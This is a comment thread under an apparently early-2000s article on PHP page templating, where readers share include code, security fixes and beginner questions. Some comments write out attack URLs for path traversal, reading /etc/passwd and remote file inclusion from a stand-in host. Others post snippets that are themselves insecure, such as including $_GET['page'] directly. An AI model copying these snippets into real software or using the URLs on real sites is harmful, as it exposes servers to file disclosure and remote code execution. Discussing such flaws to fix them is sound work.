Manage Your Content With PHP

by Christopher Robbins

72 Reader Comments

Back to the Article
  1. What if someone enters in template.php?page=template ?

    Is there a way of stopping this?

    Copy & paste the code below to embed this comment.
  2. (In response to the template question above: you could say “if page=template, then [do something] ... else, load everything normally”)

    Speaking of PHP management systems, I was frustrated by a lack of simple options, so I wrote my own 5k system called Rodin: http://rodin.lot23.com . It’s open sourced, free, and is kept as simple as possible. A good template for beginners.

    Copy & paste the code below to embed this comment.
  3. Yes. You could do it in a few different ways. The easiest way would probably just be to check the value before you redirect. If it is “template”, then you can reassign the value.

    <?php if ($template == “template”) $template = “home”; ?>

    It should also be noted that in later versions of php (maybe 4.1+ ?), accessing querystring (URL) variables directly is no longer the correct way to do it and does not work by default. You have to access querystring variables through the $_GET array. In older versions, it’s recommended to use $HTTP_GET_VARS. http://www.php.net/manual/en/language.variables.predefined.php

    <?php $template = $_GET[“template”]; ?>

    Later,
    James Craig

    Copy & paste the code below to embed this comment.
  4. A few notes to all you soon-to-be PHP converts out there…

    1) a header() call must be made *before* any HTML in the document

    2) a good shortcut for writing the value of a variable in (x)html is
    <?=$foo?>

    3) you can forgo the echo commands if you wish and section out your conditionals as such:
    <? if ($foo==“1”) { ?>
    foo.jpg
    <? } else { ?>
    foo2.jpg
    <? } ?>

    4) you will no doubt get an error trying to write the xml declaration at the top as it is encapsulated in <? ?> like php so the php engine will try to read it. you can circumvent this by having the php write out the xml declaration in an echo statement. just be sure to escape (\) your quotes (”).
    <? echo “<?xml ... ?>”; ?>

    Copy & paste the code below to embed this comment.
  5. Couple things:

    You should always be extremely careful when using include() or require() and user input. Never trust the user. In this case, possible bad side effects are minimized by adding the .html in the require call, but there is still the possibility mentioned above of including the template page. Probably the simplest solution is to make an array of acceptable pages and then verify that the page passed by the user is in that array…

    <?php
    $acceptable_pages = array(
    ‘index’,
    ‘bio’,
    ‘photos’,
    ‘projects’
    );

    // header/menu stuff goes here

    // get the page from the URL
    $page = $_REQUEST[ ‘page’ ];

    // make sure the page is in the acceptable pages array
    // in_array is a PHP 4 function. You can roll your own array inspection code in PHP3.
    if ( in_array( $page, $acceptable_pages ) )
    {
    require_once( "$page.html" );
    }
    else
    {
    // make your own pseudo-404 page
    require_once( "error.html" );
    }

    ?>

    I also added a little error handling - if a bad page gets thrown to the script, it will include “error.html” which essentially acts as a custom 404 page. From there you can suggest other pages or just tell the visitor that they hit a bad page. Enjoy.

    Copy & paste the code below to embed this comment.
  6. Here are some more details on the security risks that have been mentioned above.

    This method of php programming is insecure with most default installations of php. It has been widly documented that you cannot trust external input. For example, on php 4.1.2 and older the following will load any file on your system that the web server has read access to (including /etc/passwd):
    http://yourserver/insecure.php?page=/etc/passwd
    (note, this requires that magic_quotes be turned on which is the default)

    You can also read any .html file on the system that the web server has access to. Let’s say this script was used on an intranet:
    http://yourserver/insecure.php?page=../../hr/index

    Also, depending on how php is configured, an attacker can even load their own script and have it execute on your server as if it were a part of your application.
    http://yourserver/insecure.php?page=http://hack0r/crack.php?
    would look like:
    require_once(“http://hack0r/crack.php?.html”);
    in your code. By default this is turned on in most php installations.

    A solution (there are many others but this one is simple):
    Employ the deny all principle. Use a hash to lookup valid pages that can be loaded dynically. For example:
    $pages[‘index’] = ‘index.html’;
    $pages[‘products’] = ‘prodcuts.html’;
    // ...
    require_once($pages[$page]);
    // you’re even better off to validate the page lookup first and log any failures to a security log to help catch any attackers.

    Here are some references on secure php programming. There are many more but these should serve as a good introduction.
    http://www.php.net/manual/en/security.php
    http://www.securereality.com.au/studyinscarlet.txt
    http://online.securityfocus.com/archive/107/276307/2002-06-11/2002-06-17/1
    http://www.owasp.org/

    Feel free to contact me if you have any questions, suggestions or concerns.

    -Skye
    scove@occl.com

    Copy & paste the code below to embed this comment.
  7. As mentioned above, this style of coding can have very drastic security implications, and I wouldn’t recommend it.

    I use a variation of this system on my site. Here are a couple of tricks and tips I’ve picked up along the way:

    Proper use of quotes can really clean up your code, and potentially even make it faster. Double quotes “” tell PHP that there is something it needs to evaluate inside that string, so it’s great for something like
    echo “It is $time”;
    If you were going to echo out a string with no variables, do it using single quotes, like
    echo ‘XHTML and CSS rock my boat’;

    Escaping double quotes in a string can be a real mess, and I find it inconvinient, however there is an incredibly easy fix. Use single quotes for attributes inside your (X)HTML, which is fully compliant and don’t need to be escaped, like so:
    echo “$text”;
    There, nice and clean. Ahhhhh.

    When you’re coding one tip that could potentially save you a lot of time is to put the constant on the left of conditional statements. For example:
    <?php
    if (’’ == $style) {
    $style= 'default';
    }
    if (‘fancy’ == $style) {
    $style = 'sophisto';
    } ?>
    Okay note all the changes there, first strings with no variables have single quotes around them. Next we have constants on the left. Why? Two equal signs mean it’s a logical statement, and PHP checks if they equal each other and return true or false, whereas one equal sign assigns value. So if you had this in your script as a typo:
    if ($secret = ‘yes’) {
    echo $secretstuff;
    }
    It would get to the if statement and say “Is secret equal to ‘yes’? Sure! Let’s go!” This can be confusing when debugging, and hard to spot. If it saves you 10 minutes somewhere down the line, and doesn’t cost any time to do when you write the code, why not?

    I have had no end of trouble with PHP’s built in set-cookie function, espescially with it working right on older browser and redirecting people after the cookie had been set. My goal was to have a link people could click that would change the stylesheet (all server-side) and take them back to wherever they were (see http://www.mullenweg.com for example). Here’s the code I ended up with, which would be ideal for a PHP CMS system like in the article:
    $cookielife = 365*24*3600; // set for one year
    $date = gmstrftime(”%A, %d-%b-%Y %H:%M:%S”,(mktime()+$cookielife) );
    header(“Set-Cookie: theme=$theme; path=/; domain=.photomatt.net; expires=”.gmstrftime(”%A, %d-%b-%Y %H:%M:%S GMT”,time()+10960000)); // old school way of setting cookies. Note the dot in front of the URL, this tells it to work for any subdomains as well
    header(‘Location: ‘.$_SERVER[‘HTTP_REFERER’]); // uses new $_ variable

    Finally just one minor note, instead of
    <div id=‘menu’>
    <?php include(’/path/to/menu.php’); ?>
    </div>
    Why not have the container DIV tags inside the menu.php file? I find this more convinent, espescially for putting elements of your templete in other pages. Also note it’s generally a better practice to use id instead of class for unique elements.

    The simplest system I’ve ever used for templetes is also the one I keep coming back to because it works so well. A sample page would look like this:
    <?php
    $title = ‘Title of sample page!’;
    include_once(‘header.php’);
    ?>
    Everything I want on the page goes here, content, HTML, whatever.
    <?php
    include_once(‘footer.php’);
    ?>
    The header has the DOCTYPE, head stuff, echos out the title, runs a breadcrumb script I wrote (http://www.photomatt.net/index.php?m=200207#65), and <div id=‘content’> to start my content. The footer includes the menu, closes all the tags, and puts anything I want at the bottom of the pages. Another benefit that people have enjoyed when I show this to them is that it works well with Dreamweaver MX. I gave DW up a while ago, but I’ve seen the results and it works just like a DW generated templete might. If any of this has been unclear or you have any questions email me or visit my site. Enjoy!

    Copy & paste the code below to embed this comment.
  8. Back again. If you work a lot with XML it might be easier for you to turn off short_open_tag in your PHP configuration (php.ini) file. The downside is you will no longer be able to use <? or <?=, only <?php and possibly the [removed] method. An easier solution is to echo out the XML declaration like Aaron pointed out above, however the way he suggested to do it doesn’t work, at least on my system. You have to seperate the ?> part of the declaration, like so:
    <?php echo ‘<?xml version=“1.0” encoding=“iso-8859-1”?’.’>’; ?>
    All we did here was concatenate (join) two strings, and there you have it. Go forth and create valid documents and XML! Of course using the <?xml line does mess up your page in some browsers, which has been covered in detail on either ALA or Zeldman’s Daily Report; the link escapes me right now.

    Copy & paste the code below to embed this comment.
  9. Thanks for all the security input.

    I received a few more important security tips in the email:

    I saw your “A list apart” article about PHP content management linked from
    web reference. I just wanted to point out that you should do some checking
    on your page variables.

    At the very least, you might want to strip out slashes:

    $page = str_replace(’/’,’‘,$page);

    That’ll keep people from looking around outside of your directory.

    [a few lines removed]

    I’d also recommend turning the warnings off for the site by adding something
    like this at the top of the script:

    <?php error_reporting(0); ?>

    Hope it helps.

    Sincerely,

    Paul Burney
    <http://paulburney.com>

    </Paul Burney>

    Copy & paste the code below to embed this comment.
  10. Hi…

    Not a bad article, but it would’ve been nice if the “echo” system was explained and what the different files would have looked like such as the menu…it took a while to figure it out - but i kind of got it.

    After messing with the way php works, i got it to work somewhat. After modifying things to work for what i want, i constantly get an error in line 15/16/17 or 18 and for the life of me can’t figure out what the issue is. The “includes” are all there calling the correct files but there are still glitches.

    But i got it to work enough that i’m hooked… so thanks.

    Copy & paste the code below to embed this comment.
  11. Marty M,

    The downloadable source code shows the system in action, which should make the menu more sensible, and it is live and functioning here:

    http://www.grographics.com/PHPSource/

    I added these two lines to template.php for security reasons:

    $page = str_replace(’/’,’‘,$page);

    <?php error_reporting(0); ?>


    (see my previous post via Paul Burney <http://paulburney.com> for explanation )

    Chris

    (and thanks, most people say I have a rather Flabby But)

    Copy & paste the code below to embed this comment.
  12. i had been pondering taking my .asp site and changing it to a .php site instead. all my dippy questions have now been answered and i think my weekend is also now taken care of.

    many thx

    Copy & paste the code below to embed this comment.
  13. The quotes in the following code:

    <?php echo “<style type=\“text/css\” media=\“all\”>@import \”$style.css\”;> </style>”; ?>

    may not be replaced with “ and ”. Quotes within HTML tags or PHP code must be regular quotes; only quotes that are part of copy should be written as “ and ”

    Copy & paste the code below to embed this comment.
  14. I am interested in learning PHP, but my website’s current host does not offer PHP support.

    Aside from changing host servers, can anyone tell me where I might be able to try my hand at authoring PHP pages for free in a live environment?

    Copy & paste the code below to embed this comment.
  15. Ron C: You could try installing Apache/PHP on your own computer (or PHP with another web server, but Apache is what I recommend). There are instructions on the web for doing this and a basic installation isn’t that difficult to achieve. The alternative would be to find a free web host that supports PHP. They do exist. I know from past experience that Evolt.org offers its members web hosting with PHP capabilities for the purpose of learning & practising the web development, along with a wealth of articles about web dev.

    Copy & paste the code below to embed this comment.
  16. Christopher mentions the use of a cookie to store user preferences, and accessing it directly through var $cookieName. However, in the most recent builds of PHP, these values are no longer directly accessible because of the security risk of an attacker setting variables directly by passing them in the request.

    So, on 4.2 or later builds of PHP, you’ll want to use the $_COOKIE[], $_GET[], and $_POST[] arrays to get styleCookie and page. And you’ll want to untaint any values you pull from the arrays.

    Following up on skye’s method for preventing an attacker from including an off-server page, I’d suggest creating an php object which generates the array of legal pages (via a directory traversal) or reads a site map file with the set of allowed pages. Of course, you pay a penalty in performance since the map has to be loaded and parsed with every invocation.—PHP really needs the notion of an Application-level object.

    —whump

    Copy & paste the code below to embed this comment.
  17. I’m wondering if anyone else had trouble getting the browser to recognize the alternate stylesheets? I’m using Moz 1.1a and it doesn’t see them.

    Copy & paste the code below to embed this comment.
  18. I spent a few minutes thinking about on-the-fly include path validation and came up with:

    <?php
    $file = $_GET[‘file’];
    // untaint $file
    $file = str_replace (”/..”,”“,$file);
    $base = $_SERVER[‘DOCUMENT_ROOT’];
    $path = $base . $file;

    print “Looking for $path.”;

    if ($path == $_SERVER[‘PATH_TRANSLATED’])
    {
    print "Silly end user, you cannot load yourself.";
    }
    elseif (
    elseif (file_exists ($path))
    {
    include_once ($path);
    }
    else
    {
    print "Could not find $path.";
    }
    ?>

    Which is intended to prevent any files off the server’s document path from being served.

    When I try the obvious attack:

    http://localhost/includeTest.php?file=../../../etc/passwd, the response is:

    Looking for /Library/WebServer/Documents/etc/password.

    Could not find /Library/WebServer/Documents/etc/password.

    Copy & paste the code below to embed this comment.
  19. I spent a few minutes thinking about on-the-fly include path validation and came up with:

    <?php
    $file = $_GET[‘file’];
    // untaint $file
    $file = str_replace (”/..”,”“,$file);
    $base = $_SERVER[‘DOCUMENT_ROOT’];
    $path = $base . $file;

    print “Looking for $path.”;

    if ($path == $_SERVER[‘PATH_TRANSLATED’])
    {
    print "Silly end user, you cannot load yourself.";
    }
    elseif (
    elseif (file_exists ($path))
    {
    include_once ($path);
    }
    else
    {
    print "Could not find $path.";
    }
    ?>

    Which is intended to prevent any files off the server’s document path from being served.

    When I try the obvious attack:

    http://localhost/includeTest.php?file=../../../etc/passwd, the response is:

    Looking for /Library/WebServer/Documents/etc/password.

    Could not find /Library/WebServer/Documents/etc/password.

    Copy & paste the code below to embed this comment.
  20. Ironically, the very idea of php (inlined code within a document) goes against the whole point of this article (separation of content and structure). Just thought I’d mention it ;)

    Copy & paste the code below to embed this comment.
  21. That’s why you do a lot of things which look like, but aren’t quite MVC in PHP. :)

    There are scripts such as Rael Dornfest’s Bloxsom which handle the the problem in the manner Joseph Ryan describes. Can you recommend other lightweight tools?

    Copy & paste the code below to embed this comment.
  22. I’m wondering if perhaps the author of the article could update the article and source files so as to reduce the security risk. I’m itching to try this out, but I don’t want to create a security risk, and I don’t know enough about PHP (read: nothing) to work the various fixes listed here in myself.
    Thanks!

    Copy & paste the code below to embed this comment.
  23. Ditto to the post by Jan Van Tol. I too was eager to try this and even understood it all up until I came to the forum and read the discussions about the security issues.

    I’m still in the beginning stages of switching all my sites over to xhtml and making them adher to web standards. I know very little php. I did enjoy the article and understood it for the most part. But after reading the discussions, I guess my dream of being able to do this easily really means taking hours, days, and weeks to dig deeper into php. Ugh.

    Copy & paste the code below to embed this comment.
  24. Hi everyone,

    I have implemented the strategy discussed in this article. Right now I can access pages using http://slowview.at/index.php?page=pagename. Right now I’m also trying to add functionality discussed in http://www.alistapart.com/stories/urls/2.html which would allow me to link to pages simply by http://slowview.at/pagename. URL cloaking if you wish. Unfortunatelly that article doesn’t allow to post comments, so I’m seeking for help in here. :)

    The article above does give you a generic example of how to achieve cloaking effect, but when I adopt it to my case it doesn’t seem to work. This is what I use:

    RewriteEngine On
    RewriteRule ^([0-9]+) index.php?page=$1

    I’m concerned about ([0-9]+) part. It doesn’t look right. Will it work for any strings or only numerical ones?

    Please advise,
    Alex

    Copy & paste the code below to embed this comment.
  25. Alex,

    You’re right, the ([0-9]+) part is only for numerical strings… It says to look for one or more numbers, and remember their value as $1. So what you need is something like:

    RewriteRule ^(.+) index.php?page=$1

    However, that will probably suck up all the other pages on your site and rewrite their URLs. I see two probable options—instead of taking anything after the domain name and adding that onto index.php?page= (like my first suggestion), make sure it doesn’t have a slash or a period in it:

    RewriteRule ^([^/\.]+) index.php?page=$1

    This will make sure URLs like slowview.at/contact.html still work out if you need them to. Otherwise, add a prefix ‘directory’, like slowview.at/content/pagename:

    RewriteRule ^content/(.+) index.php?page=$1

    I think that’s all I’ve got. Anybody else?
    Nate

    Copy & paste the code below to embed this comment.
  26. This is so old fashioned :) Try XML/XSL for template driven websites.

    Copy & paste the code below to embed this comment.
  27. Ron C, here are some complete installations of php/apache/mysql which (are supposed to) work right out of the box - these are great for testing your php without having to find a host, or uploading updates if you do have a host. The only one of these I have used is phptriad, which works perfectly on the 3 machines I installed it on.

    PHPTriad - http://sourceforge.net/projects/phptriad
    FoxServ - http://sourceforge.net/projects/foxserv
    PHPDev - http://www.firepages.com.au/dev4.htm

    Copy & paste the code below to embed this comment.
  28. What a great article! I enjoyed monkeying (is that a word?) with the PHP code, and think your writing style is right on! Bravo!

    Copy & paste the code below to embed this comment.
  29. In response to Ron C…

    It is simple to test out PHP on Windows by using PHPTriad. It includes Apache, PHP, and mySQL. The install is very painless and the app is good for testing things out. Note this isn’t a long term solution, but it makes it very easy to check out PHP and see whether it’s worth investing more time in or not. The flexibility that the language offers in database interaction has been the true reward for me in converting applications to PHP.

    Download and info available at http://sourceforge.net/projects/phptriad

    Copy & paste the code below to embed this comment.
  30. how do I declare the different pages? do I save ‘babeuf.html’ or ‘babeuf.php’? I dont understand where or how the actual content comes in to play?

    Copy & paste the code below to embed this comment.
  31. I’ve been using PHP templates for a couple of years now and wouldn’t have them any other way. The arrangement I use is a little different from the ones I’ve seen here so far though; as the one major downside I see of the template models suggested is that they require all your page content to be landed smack in the middle of an XHTML ‘wrapper’. There are often times when you want different pieces of content (page title, sidebar, page navigation, main article etc.) to go in different places in the template code; you can achieve this with multiple includes (eg the menu.php in the original article) but when you start getting down to 4 or 5 unique pieces of content for each individual page it just gets silly to break them into separate files.

    The model I use is as follows:

    - The file containing the actual page content is a PHP file (eg foobar.php) that encloses all its content in a PHP function called write_content().
    - foobar.php require()s a file called template.php.
    - template.php contains all the XHTML template code, and it calls write_content() where the content is meant to be placed within the template. In other words, puts it all together and outputs it to the browser.
    - Instead of requesting “template.php?page=foobar”, the user requests “foobar.php”.

    Why go to this trouble?
    - It limits the pages you can feed the template to the pages that actually exist. No verification needed.
    - It makes the urls cleaner and more intuitive, like a static site.
    - The content doesn’t have to all be put in the same place in the XHTML page code; it can have template code around and between it. For instance, foobar.php could have separate functions for sidebar content, navigation or ads, and a couple of variables that specify the page title and control the way the menu is highlighted to reflect the current page/section, etc. Template.php picks all of these up and slots them into the right places in the XHTML.

    The downside?
    - All your content has to be stored in php files, even if it’s all just plain HTML. You could parse an HTML page into separate chunks, but it’s not really worth the effort.
    - It causes headaches with using global variables within the page content, since it’s enclosed in a function and PHP (oh so kindly) requires you to specifically register global variables that you want to use within a function.

    This may seem like quite a few hoops to jump through and for many site applications it’s unnecessary; but I enjoy the flexibility it provides in allowing different areas of content to be placed individually within the template. I’d be interested to hear from anyone who has a more streamlined way of doing this.

    Copy & paste the code below to embed this comment.
  32. I have the following PHP problem:
    Up until now I’ve used the system of (pardon my syntax)

    $author
    $page
    $title

    include (header)

    content

    include(footer)

    I discovered that it would seem easier to deal with more advanced php scripts, and avoid some logical cath 22 situations using the variant described in the article, i.e.:

    header

    include(content)

    footer

    I have decided to switch, but have run into problems…

    MY QUESTION is this: How do I read the variables from the content file prior to including it? Is it possible without resorting to meta tags inside the document or tricky php scan scripts (which as a novice I cannot do)?

    I might be wrong, but it seems I really need these variables BEFORE I include the file, since they have to be put into the XHTML document head.

    Thanks,
    Lars

    Copy & paste the code below to embed this comment.
  33. Uh…

    I was on p.1 when I posted my above question, unaware of Alun David Bestor’s posting dealing with this very issue here on p.2. Seems it would pretty much solve my problem. However, I can’t find a PHP function called write_content in the manual.

    Could you help me out?

    Lars

    Copy & paste the code below to embed this comment.
  34. Re: uh.. :)

    write_content is just the name ADB has given to his php function which writes all the…um…..content to the page :)

    eg:
    function write_content()
    {
    echo "Hello, this is the content";
    }

    so he would have that at the start of his file, then he includes the page template:

    require(“template.php”);

    now, template.php could contain this:

    <html>
    <head>
    <title>My Page</title>
    </head>
    <body>
    <?php write_content() ?>
    </body>
    </html>

    ...so, when he includes the template.php file, it will call the function write_content() which will output his content to the appropriate section of the page - so the user would get served this code when they go to foobar.php:

    <html>
    <head>
    <title>My Page</title>
    </head>
    <body>
    Hello, this is the content
    </body>
    </html>

    and the foobar.php sourcecode would look like this:

    <?php
    function write_content()
    {
    echo "Hello, this is the content";
    }
    require(“template.php”);
    ?>

    give it a go yourself if you still can’t get your head round it.

    Copy & paste the code below to embed this comment.
  35. insin

    it…

    WORKED!

    will save me A LOT of time and frustration

    thanks!

    Lars

    Copy & paste the code below to embed this comment.
  36. http://smarty.php.net
    Here you can find good template engine for PHP! This is one of the best ways to separate content and code.

    It is so so bad practice to use echo, print commands…

    Copy & paste the code below to embed this comment.
  37. So when I place my

    <div class=“menu”>
    <?php @ require_once (“menu.php”); ?>
    </div>

    prior to my

    <?php
    $acceptable_pages = array(
    ‘body’,
    ‘another’,
    ‘photos’,
    ‘projects’
    );

    // get the page from the URL
    $page = $_REQUEST[ ‘page’ ];
    // make sure the page is in the acceptable pages array
    if ( in_array( $page, $acceptable_pages ) )
    {
    require_once( "$page.html" );
    }
    else
    {
    // 404 page
    require_once( "error.html" );
    }
    ?>

    my style changing links partially break. The style changes properly, but the $page variable no longer contains a value (ie a page name) in these links. Other non-style-changing links still work properly.

    Anyone else have this problem? I’m new to php, so maybe I’m doing something dumb? Both IE 5.2 and Mozilla do this.

    Copy & paste the code below to embed this comment.
  38. So when I place my

    <div class=“menu”>
    <?php @ require_once (“menu.php”); ?>
    </div>

    prior to my

    <?php
    $acceptable_pages = array(
    ‘body’,
    ‘another’,
    ‘photos’,
    ‘projects’
    );

    // get the page from the URL
    $page = $_REQUEST[ ‘page’ ];
    // make sure the page is in the acceptable pages array
    if ( in_array( $page, $acceptable_pages ) )
    {
    require_once( "$page.html" );
    }
    else
    {
    // 404 page
    require_once( "error.html" );
    }
    ?>

    my style changing links partially break. The style changes properly, but the $page variable no longer contains a value (ie a page name) in these links. Other non-style-changing links still work properly.

    Anyone else have this problem? I’m new to php, so maybe I’m doing something dumb? Both IE 5.2 and Mozilla do this.

    Copy & paste the code below to embed this comment.
  39. Any regular visitors who have used the Smarty Template System before? I’ve downloaded it but am clueless on how to actually use it. As with every programming-related documentations, Smarty’s was talking to me in ‘Greek’.

    And by the way, I enjoyed reading the article. Helped me out with some of the work which I am currently working on.

    Copy & paste the code below to embed this comment.
  40. As a PHP newbie trying to figure out the simplest way to include switchable content inside of a main template, I was ecstatic to see the “Switching content with PHP variables” part of this article. However, when I popped in the code (changing file names, etc. as necessary), I found that not only could I not display any of the content I wanted, but part of my layout was altered.

    I inserted the code inside of a table cell, as I just want the content to appear in this part of the template. Is this the problem? If the “include_once” doesn’t work in table cells, is there a similarly simple way to achieve the same results? Can anybody help me out here?

    By the way, my ISP does support PHP4.

    Thanks for any help anybody can give me.

    Bill

    Copy & paste the code below to embed this comment.
  41. Hi Bill, I came across this very useful article to use PHP on my site I recently finished…being a bit of a newbie I used this to create a template (main.php) which used a header, footer, content left and content right all as include files then the main content in the middle of the page loaded using a variable ( $page ) in the way described ie

    main.php?page=home

    the site is http://www.glasswerk.co.uk or if you want I can email you the main.php template and you can pick that one apart?

    Ive used include not require or include_once and all of them were inserted into tables and these have worked fine, not sure how much difference include and include_once would make.

    also, I had a problem with the layout changing and the only tips I can give is make sure that you are using a layout cell to insert the php* and that it is as wide as the page content you are loading (i decided to stick to a maximum width for all pages to make it simple for me)

    *In dreamweaver what I do is draw the layout cell then click inside it as if I was about to type or whatever then goto code view and insert the PHP at that point (also delete  ) and then it would look a bit like this:

    <table width=“100%” border=“0” cellpadding=“0” cellspacing=“0”>
    <tr>
    <td width=“7” height=“18”></td>
    <td width=“456” valign=“top”>
    <?php @ include (”$page.php”); ?>
    </td>
    <td width=“6”></td>
    </tr>
    </table>
    Hope that helps in some way as this forum was very useful for me!

    Lee

    Copy & paste the code below to embed this comment.
  42. Here is the easiest way to do includes with error checking. This is what I am using in my newest site http://www.jcontonio.com/v4/

    The sites not finished by the way…

    <?php

    switch($_GET[“display”]) {

    case "journal":
    require("pages/default.html");
    break;

    case "bio":
    require("pages/bio.html");
    break;

    case "portfolio":
    require("pages/portfolio.html");
    break;

    default:
    require("pages/default.html");
    break;

    } // switch

    ?>

    Copy & paste the code below to embed this comment.
  43. I can’t get the variables to load. I did everything as the article said.

    When I go to index.php, it redirects to template.php correctly, but I get a blank page. The source code is as follows on the template.php:

    <html>
    <head>
    <title>Template.php—My first attempt at creating a dynamic website - September 27, 2002</title>
    <meta http-equiv=“Content-Type” content=“text/html; charset=iso-8859-1”>
    <style type=“text/css” media=“all”>@import “.css”;></style><link rel=“alternate stylesheet” type=“text/css” href=“print.css” title=“Printable” >
    <link rel=“alternate stylesheet” type=“text/css” href=“default.css” title=“Default” /></head>

    <body>
    <div class=“body”>

    The URL is showing correctly:

    http://www.womenintheeconomy.org/wie/template.php?page=home&style=default

    BUT I’m not getting any of body.html or menu.php files.

    Help?

    Copy & paste the code below to embed this comment.
  44. There’s an even easier way to get around the security concerns expressed above. Put the html pages you want to include in the template into a subdirectory (i.e. /pages/). You can put Apache security on that subdirectory if you want, php will include the page without requiring a password even if there is Apache security on it. Then make a slight change to the require statement to say @require_once ($DOCUMENT_ROOT.”/pages/$page”). $DOCUMENT_ROOT is a php variable that shows the local path on your server (it looks like ‘/u/web/username’). The period between $DOCUMENT_ROOT and “/pages/$page” concantonates them so that the server will see something like “/u/web/username/pages/yourpage.html” By putting this in front of $page it will make invalid pages nonsensical and they won’t print. For instance, if you put an external page into the variable $page, the server would see ‘/u/web/username/pages/http://www.hacker.com/something.html’ which wouldn’t produce anything since it’s a file that doesn’t exist. That also would prevent access to files on your local machine that you don’t want seen, so long as they do not reside in the directory you are using for this purpose.

    Copy & paste the code below to embed this comment.
  45. Thanks to insin for that rather more lucid explanation of what I meant in my previous post (“Another Template Model”) :)

    My question still stands, however: is there an easier way to implement the system described without using functions, since functions cause so many headaches with globals? Can large pieces of separate content effectively be generated and stored in simple variables, instead?

    Copy & paste the code below to embed this comment.
  46. I’m a beginner .. but to avoid infinite loop I do that :

    include(‘bla_’.$page.’.php’)

    this way if you do ‘template.php?page=template’ you’ll get bla_template.php.

    Copy & paste the code below to embed this comment.
  47. I’m new to PHP, and a little confused about something… I used a setup similar to that described by Dave Hendler (on the first page), and it worked fine on my system (where I had installed Apache and PHP 4.2.3). Once uploaded, however, it no longer functions. My server says they support PHP 4, no version specified beyond that. Is there a reason the script I’m using won’t work on lower versions?

    Copy & paste the code below to embed this comment.
  48. Heya all, this code everyone has been displaying is a great help.. but im stuck on something.. Ive written some code so i can do the
    ?page=blah

    but i was looking at doing in one of those acceptable page arrays.. but i dont want to sit there and add every new page into that array.. is there a statement after the

    <?php @ require_once(”$page.html”); ?>

    that i can add to basically say.. if $page.html does not exist.. go to error.html (without having the array remember)

    im new to PHP and would love the help .. Thanks!!!

    Copy & paste the code below to embed this comment.
  49. PHP beginner with little PHP experience. I am interested in setting up a site using includes (a template structure) and don’t quite know where to begin… I have the layout complete such as a header with nave which will remain the same on all pages, a left menu which will change per section, center content area which will change per page, and a right column which will also change according to section. I have tried regular <?php include ‘whatever.php’ ?> but when I try to organize ny files into directories broken links are returned.

    Can anyone offer information on or a good resource for setting up templates and includes? Maybe I should start with something a little more simple?

    Thanks

    Copy & paste the code below to embed this comment.
  50. Several months ago, Ron asked: “Aside from changing host servers, can anyone tell me where I might be able to try my hand at authoring PHP pages for free in a live environment?”

    One answer is http://members.evolt.org/ - you can try out lots of other stuff here too, like mySQL, Coldfusion, ASP etc. Absolute goldmine.

    Andy

    Copy & paste the code below to embed this comment.
  51. RewriteRule ^([a-z0-9]+)([/]?) /index.php?page=$1

    personally i would recommend doing it this way.

    Copy & paste the code below to embed this comment.
  52. You can check to see if a file exists and go on from there…

    Say $page contains the value which you got from the GET part of the URL. At the top of your page, you could have something like this:

    <?
    $page = $_GET[‘page’];
    $includepath = “/path/to/include/dir/”;
    $filepath = $includepath.$page;

    if(file_exists($filepath))
    {
    include($filepath); //if you want to include the file here
    //or
    $fileexists = true; //if you want to comfirm that $page is valid later on
    }
    else
    {
    //Header can only be used for a certain number of bytes into the file
    Header("Location:http://www.website.com/somedir/errorpage.html");
    //you could echo some javascript or html meta to do the redirect instead
    //or
    include("/path/to/include/dir/badurl.inc"); //scold that user! :-D
    }
    ?>

    Copy & paste the code below to embed this comment.
  53. Hi guys

    Thanks for the great article intro to a php cms Chris ;-)
    However, I am getting an error message like so when I put the code on my server:

    Warning: Failed opening ‘.html’ for inclusion (include_path=’.;c:\\php4\\pear’) in c:\htdocs\oneafrikan.com\test\template.php on line 16

    can anyone help??
    Does this have to do with passing variables in the url, and the <?php $template = $_GET[“template”]; ?> method, and using a newer version of php??
    If so, how would one use $_GET to pull out the content using the $template variable??

    Thanks ;-)
    Gareth

    Copy & paste the code below to embed this comment.
  54. sorry guys, i feel like a complete dumbass - found the solution to my problem through something similiar on sitepointforums…

    try:
    <?php
    include $_GET[‘page’];
    ?>

    Cool… now i can add all the bells and whistles from the discussion!! ;-)

    Gareth

    Copy & paste the code below to embed this comment.
  55. Good evening,

    Is there a clever way to reuse existing page links when changing to this system? Or in other words, can I leave the link <a href=“mission.php”> as it is, or do I have to change it to something like <a href=“template?page=mission”>???

    The latter is not an attractive option…

    Thanks,
    Lars

    Copy & paste the code below to embed this comment.
  56. Hi guys

    Another query:
    I’m using the following method to get the page content using the variable passed to the template page:
    <?php include $_GET[‘page’]; ?>

    To do this, the url looks like so:
    ... template.php?page=home.html&style=default

    The security concerns using this method have been discussed already, but what I want to know is if I can use the above $_GET method in some way so that I dont have to use the filename in the url…. Something like so:
    <?php include $_GET[‘page.html’]; ?>
    with a URl like:
    ... template.php?page=home&style=default…

    On my server setup (php 4.2.3) this doesn’t work… but I’m wondering if i’m perhaps missing something, or if there is a way to do it I don’t know, or if there’s a different way to achieve the same thing.

    Thanks for the help!

    Gareth

    Copy & paste the code below to embed this comment.
  57. hi guys, me again with a answer to my post above - thought someone who is as new to PHP as I am may find it helpful….

    here is my template page:
    /////////////////////////////////////////
    <?php
    setcookie (“stylecookie”, $style, time()+40000000);
    $page = $_GET[‘page’];
    ?>
    <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
    “http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-strict.dtd”>
    <html >
    <head>
    <meta http-equiv=“content-type” content=“text/html; charset=iso-8859-1” />
    <title><?php echo $_GET[‘page’]; ?></title>
    <style type=“text/css” media=“all”>@import “<?php echo $_GET[‘style’]; ?>.css”;> </style>
    <?php echo “<link rel=\“alternate style sheet\” type=\“text/css\” href=\“print.css\” title=\“Printable\” />”; ?>
    <?php echo “<link rel=\“alternate style sheet\” type=\“text/css\” href=\“default.css\” title=\“Default\” />”; ?>
    </head>
    <body>
    <div class=“body”>

    <?php echo $page; ?>


    <?php @ require_once(”$page.html”); ?>
    </div>

    <div class=“menu”>
    <?php include (“menu.php”); ?>
    </div>
    </body>
    </html>

    ////////////////////////

    Hope that helps ;-)

    Regards
    Gareth

    Copy & paste the code below to embed this comment.
  58. I made my site for a group of people with massive differentiation in monitor size, and need to make style sheet switchers to help them out. So I’ve taken that stuff from this tutorial and left the dynamic content alone.. though am keeping in mind for the future!

    My problem is that my site has many pages, and is several layers deep. I’m not having a problem with the switching in the top level of my site, but further down I am, and I think it’s something to do with PHP not liking the ../../../ references back up to my style sheets at the top level. But I may be wrong.

    Is anyone able to help me with this? I’ve got the following code at the top of my document:

    <?php
